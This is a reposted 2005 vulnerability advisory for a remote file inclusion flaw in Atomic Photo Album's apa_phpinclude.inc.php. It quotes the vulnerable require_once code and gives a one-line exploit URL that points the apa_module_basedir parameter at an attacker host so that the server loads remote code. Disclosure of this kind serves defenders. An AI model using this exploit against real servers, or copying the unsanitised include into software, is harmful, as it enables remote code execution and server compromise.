[转载]Atomic相册apa_phpinclude.inc.php远程文件包含漏洞及分析

文章作者：pc_labs

Atomic Photo Album (APA) apa_phpinclude.inc.php remote file include :>
------------------------------------------------------------
Name: Atomic Photo Album (APA)
Version: all
Homepage: http://atomicpa.sourceforge.net/

Author: pc_labs / lwdz - RandomHero
Date: 20 July 2005
------------------------------------------------------------
------------------------------------------------------------

Vulnerable code in : apa_phpinclude.inc.php

require_once("apa_authadm.inc.php");
else
require_once("apa_auth.inc.php");
....else{
require_once("$apa_module_basedir/apa_config.inc.php");
...


?>

------------------------------------------------------------

Exploit:


http://[victim]/[dir]/apa_phpinclude.inc.php?apa_module_basedir=http://[h4x0r_b0x]/

--------------------------------------------------------

Fix and Vendor status:

Vendor has been notified.